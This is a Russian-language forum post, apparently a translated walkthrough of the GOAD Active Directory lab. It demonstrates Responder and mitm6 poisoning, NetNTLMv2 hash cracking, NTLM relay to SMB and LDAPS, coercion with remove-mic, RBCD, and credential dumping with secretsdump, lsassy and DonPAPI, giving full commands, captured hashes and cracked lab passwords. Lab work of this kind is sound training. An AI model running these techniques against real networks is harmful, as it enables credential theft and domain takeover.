• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья GOAD - часть 4 - яд и эстафета

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
В предыдущей части) мы начинли копаться в том, что делать, когда вы получили учетнуые записи пользователей. Прежде чем начать использовать виртуальные машины с учетной записью пользователя, мы сделаем шаг назад (без учетной записи пользователя) и посмотрим, что мы можем сделать с responder, mitm6 и ретранслятором NTLM!
1670612742958.png


Responder​

Когда вы запускаете пентест без каких-либо кредов, Responder является обязательным инструментом. В стандартном AD Windows (без каких-либо изменений) он даст вам:

  • имена пользователей
  • netntlmv1 (если сервер очень старый) / netntlmv2 хэши
  • возможность перенаправления аутентификации (NTLM relay)
В лаборатории есть два бота для имитации запросов LLMRN, MDNS и NBT-NS. У одного пользователя слабый пароль, но нет прав администратора. Другой пользователь имеет права администратора, но использует надежный пароль.

Запустим Responder чтобы увидеть, можем ли мы получить какую-либо информацию.

Код:
responder -I vboxnet0

Через несколько минут мы получим хеш netntlmv2 robb.stark.

1670612951186.png


Бот пытается подключиться к bravos вместо braavos. DNS не знает bravos без двух букв «a», поэтому по умолчанию Windows отправит широковещательный запрос, чтобы найти связанный компьютер. С responder мы отвечаем на этот широковещательный запрос и говорим, что это наш сервер, и поэтому мы получаем соединение от пользователя.
Еще через несколько минут (бот eddard настроен на запуск каждые 5 минут и robb каждые 3 минуты) мы также получили подключение от eddard.stark:

1670613101609.png


Хэши netntlm нельзя использовать для ass the hash но вы можете взломать их, чтобы получить пароль. Создаем файл responseer.hashes с двумя найденными хешами и начинаем его взламывать с помощью hashcat.

Код:
robb.stark::NORTH:1122334455667788:138B29A14C5A082F19F946BB3AFF537E:01010000000000000090C5E56494D801E5D2F5789054B95D0000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
eddard.stark::NORTH:1122334455667788:76E26250ABF96A09E68ADC5A9B1A4C29:01010000000000000090C5E56494D801CA05EDDA86BE30280000000002000800480053003600340001001E00570049004E002D004C00420052004E0041004D0031005300540051005A0004003400570049004E002D004C00420052004E0041004D0031005300540051005A002E0048005300360034002E004C004F00430041004C000300140048005300360034002E004C004F00430041004C000500140048005300360034002E004C004F00430041004C00070008000090C5E56494D801060004000200000008003000300000000000000000000000003000002D4B5557B9EF589ECE5944B06785A55D686F279D120AC87BCBF6D0FEAA6663B90A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000

Код:
hashcat -m 5600 --force -a 0 responder.hashes /usr/share/wordlists/rockyou.txt


1670613228472.png


Мы быстро получаем еще одну учетную запись пользователя robb.stark:sexywolfy. Этого достаточно, чтобы взломать северный домен, так как robb является администратором winterfell(north dc).

Пароль Эддарда более надежен и не может быть взломан этим методом. Это не значит, что мы ничего не можем сделать. Что мы можем сделать, так это перенаправить соединение Эддарда на сервер, где smb не подписан ;)
Responder сохраняет логи в /opt/tools/Responder/logs (на exegol), если вам нужно показать их снова.
Если вы хотите удалить предыдущие захваченные логи (сообщение пропущенное ранее захваченный хэш) удалите файл /opt/tools/Responder/Responder.db

NTLM relay​

1670613402623.png


Неподписанный SMB​

Давайте начнем охотиться на неподписанных smb в лаборатории и создадим список целевых IP-адресов.
Код:
cme smb 192.168.56.10-23 --gen-relay-list relay.txt

1670613469786.png


Сейчас у нас есть спиок компьютеров с smb signing:False? можем попробовать аутентифицировать их с relay ntlm

responder + ntlmrelayx to smb

Перед запуском responder чтобы отравить ответ на запрос LLMNR, MDNS и NBT-NS, мы должны остановить responder smb и http-сервер, поскольку мы не хотим получать хэши напрямую, а хотим ретранслировать их на ntlmrelayx.

Код:
sed -i 's/HTTP = On/HTTP = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'HTTP ='
sed -i 's/SMB = On/SMB = Off/g' /opt/tools/Responder/Responder.conf && cat /opt/tools/Responder/Responder.conf | grep --color=never 'SMB ='

Далее запускаем ntlmrelayx

Код:
ntlmrelayx -tf smb_targets.txt -of netntlm -smb2support -socks
  • -tf: список целей для ретрансляции аутентификации
  • -of: выходной файл, в нем будут сохранены захваченные хэши smb, как мы это делали раньше с responder чтобы взломать их позже
  • -smb2support: поддержка smb2
  • -socks: запустит прокси-сервер socks для использования ретрансляционной аутентификации
Программа возвращает эту ошибку:

Код:
Type help for list of commands
    self._target(*self._args, **self._kwargs)
  File "/usr/local/lib/python3.10/dist-packages/impacket/examples/ntlmrelayx/servers/socksserver.py", line 247, in webService
    from flask import Flask, jsonify
  File "/usr/local/lib/python3.10/dist-packages/flask/__init__.py", line 19, in <module>
    from jinja2 import Markup, escape
ImportError: cannot import name 'Markup' from 'jinja2' (/usr/local/lib/python3.10/dist-packages/jinja2/__init__.py)

исправим вот так

Код:
pip3 install Flask Jinja2 --upgrade

Перезапустите ntlmrelayx, все работает :)

Код:
ntlmrelayx -tf smb_targets.txt -of netntlm -smb2support -socks

Запустить responder для перенаправления запросов на сервер ретрансляции

Код:
responder -I vboxnet0

1670614035560.png


Отравленные соединения ретранслируются на castelblack (192.168.56.22) и essos (192.168.56.23), а для использования соединения настроен прокси-сервер socks.
Поскольку eddard.stark является администратором домена north.sevenkingdoms.local, он получил права администратора на castelback.
Теперь мы можем использовать это реле, чтобы получить доступ к компьютеру в качестве администратора.

Используйте relay socks с учетной записью администратор​

Secretsdump​

Используйте secretsdump для получения базы данных SAM, входа в систему из кэша LSA, учетной записи компьютера и некоторой информации DPAPI.

Код:
proxychains secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

1670614175133.png

  • База данных sam содержит локальные учетные записи. Мы будем игнорировать vagrant, так как это пользователь по умолчанию для настройки лаборатории.
  • Важной информацией здесь является хэш NT локального администратора.
  • Мы также получили LSA-кэш последних подключенных пользователей (по умолчанию Windows хранит последних 10 пользователей), это полезно для подключения к серверу, даже если контроллер домена недоступен. Но эти кешированные учетные данные можно взломать в автономном режиме с помощью hashcat (очень медленно).
  • И в завершение мы также получили хэш учетной записи компьютера. (Иногда вы не получите никаких полезных учетных записей домена или вообще никакой информации о компьютере, присоединенном к домену, но если вы получите этот хэш, вы получите учетную запись в домене!)
  • С учетной записью компьютера вы можете запрашивать ldap, как и любые другие пользователи, а также запускать Bloodhound Ingestor ;)

Lsassy​

  • Используйте lsassy, чтобы получить сохраненные учетные данные процесса lsass.
  • Информация об учетных записях домена хранится в процессе LSASS, поэтому создание дампа этого процесса может дать вам больше учетных записей и привилегий домена.
  • Lsassy позволяет удаленно сбрасывать lsass (очень удобно, чем выполнять procdump, загружать файл дампа lsass и выполнять pypykatz или mimikatz локально), он выполняет все болезненные действия, такие как дамп и чтение содержимого lsass (он также сбрасывает только полезная часть дампа lsass, оптимизирующая время передачи). (lsassy также существует как модуль cme)

Код:
proxychains lsassy --no-pass -d NORTH -u EDDARD.STARK 192.168.56.22

1670614356746.png


DonPapi​

  • Мой третий любимый инструмент для извлечения секретов Windows с Linux — это donPAPI , он используется для получения dpapi и другой информации, хранящейся в паролях (файлы, браузер, запланированные задачи и т. д.). Этот инструмент не затрагивает LSASS, поэтому он незаметен и работает большую часть времени, даже если на цели включены av и edr.
Код:
proxychains DonPAPI -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'

1670614435481.png


  • DonPapi дает нам сохраненный пароль для службы sql sql_svc:YouWillNotKerboroast1ngMeeeeeee
  • Мы также получаем пароль robb.stark из-за запланированной настройки задачи на этом компьютере.

1670614466012.png


Smbclient​

Подключитесь напрямую к smbserver с помощью smbclient

Код:
proxychains smbclient.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug

1670614550458.png


Исполнение кода: smbexec или atexec​

С соединением socks вы можете использовать только smbexec или atexec. Ни wmiexec, ни psexec, ни dcomexec не будут работать. (пояснения здесь: https://github.com/SecureAuthCorp/impacket/issues/412 )

Код:
proxychains smbexec.py -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22' -debug

1670614601200.png


Mitm6 + ntlmrelayx в ldap​

Еще один полезный способ отравить сеть - дать ответ на запрос DHCPv6 и установить наш хост в качестве DNS-сервера по умолчанию. Windows по умолчанию предпочитает IPv6 вместо IPv4, поэтому мы можем перехватить и отравить ответ на запрос DHCPv6, чтобы изменить DNS-сервер и перенаправить запросы на нашу машину с помощью инструмента MITM6.
Мы запустим mitm6, чтобы отравить dhcpv6 и получить dns-запросы от хостов.
В качестве примечания, я заметил, что мы можем отравить domain controler, но после этого DC's не заботятся и все еще используют свой localhost dns сервер.

Поэтому мы должны нацелиться на серверы.

Для этого примера мы отравим сервер Braavos. Мы будем отвечать на запросы wpad и передавать http-запросы на ldaps на meereen, чтобы добавить компьютер с доступом делегата.
~Сначала нам нужно внести небольшие изменения в конфигурацию локальной сети braavos~ (Редактировать: Больше не нужно, если вы выполнили ansible provisioning после 18.08.2022)
Подключитесь к braavos с помощью khal.drogo:horse на rdp и измените dns сервер ethernet на автоматический (я скоро исправлю это в ansible lab playbooks, но пока вам придется сделать это вручную). Измените только первое соединение ethernet на автоматический dns.

1670614757808.png


1670614786066.png


Начинаем травить mitm6 и запустим ntlmrelayx

Код:
mitm6 -i vboxnet0 -d essos.local -d sevenkingdoms.local -d north.sevenkingdoms.local --debug

Код:
tlmrelayx.py -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local --add-computer relayedpccreate --delegate-access

1670614894696.png


Как мы видим, dns теперь отравлен

1670614919195.png


Мы ждем http-запроса wpad, чтобы ретранслировать запрос в ldaps (вы можете перезагрузить ВМ, чтобы отравить и использовать, не дожидаясь)

1670614953511.png


  • Был создан новый компьютер с делегированным доступом к Braavos$, поскольку мы отравляем учетную запись компьютера Braavos$, и он может установить msDS-AllowedToActOnBehalfOfOtherIdentity на созданном компьютере.
  • И мы можем продолжить эксплуатацию RBCD, как в следующем абзаце (с помощью getST для вызова s4u2proxy)
  • Если мы указываем каталог добычи, вся информация в ldap автоматически сбрасывается.
Код:
ntlmrelayx.py -6 -wh wpadfakeserver.essos.local -t ldaps://meereen.essos.local -l /workspace/loot

  • Откройте RDP с помощью essos.local/khal.drogo:horse
  • Когда relay запущен и работает, мы можем получить всю информацию о домене.
1670615055002.png


1670615086868.png


1670615110937.png


Принудительная авторизация smb + ntlmrelayx для ldaps​

1670615166365.png


Мы можем принудительно установить соединение из meereen DC с нашим хостом, используя несколько методов (petitpotam, printerbug, DFSCoerce). Чтобы принудительно выполнить принуждение, не выбирая между различными методами, мы можем использовать инструмент «все-в-одном», который только что появился .

Как прекрасно объяснено в блоге hackndo ( en.hackndo.com/ntlm-relay ) и в хакерском рецепте ( www.thehacker.recipes/ad/movement/ntlm/relay ), вы не можете ретранслировать smb-соединение на ldap(s). ) подключение без использования CVE-2019-1040, также известного как remove-mic.

  • Запустите ретрансляцию с удалением микрофона в ldaps meereen.essos.local.
Код:
ntlmrelayx -t ldaps://meereen.essos.local -smb2support --remove-mic --add-computer removemiccomputer --delegate-access

  • Запустите принудительную аутентификацию на braavos (braavos — это обновленный сервер Windows 2016, поэтому неаутентифицированный petitpotam здесь не будет работать)


Код:
python3 coercer.py -u khal.drogo -d essos.local -p horse -t braavos.essos.local -l 192.168.56.1

1670615257755.png


Атака сработала, теперь мы можем использовать braavos с помощью RBCD.

Код:
getST.py -spn HOST/BRAAVOS.ESSOS.LOCAL -impersonate Administrator -dc-ip 192.168.56.12 'ESSOS.LOCAL/removemiccomputer$:_53>W3){OkTY{ej'

1670615300081.png


и использовать это для получения секретов

Код:
export KRB5CCNAME=/workspace/Administrator.ccache
secretsdump -k -no-pass ESSOS.LOCAL/'Administrator'@braavos.essos.local

1670615362747.png


В следующий раз мы вернемся к эксплуатации с частью учетной записи пользователя. ПОКА
 

Вложения

  • 1670613743986.png
    1670613743986.png
    16.2 КБ · Просмотры: 11
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх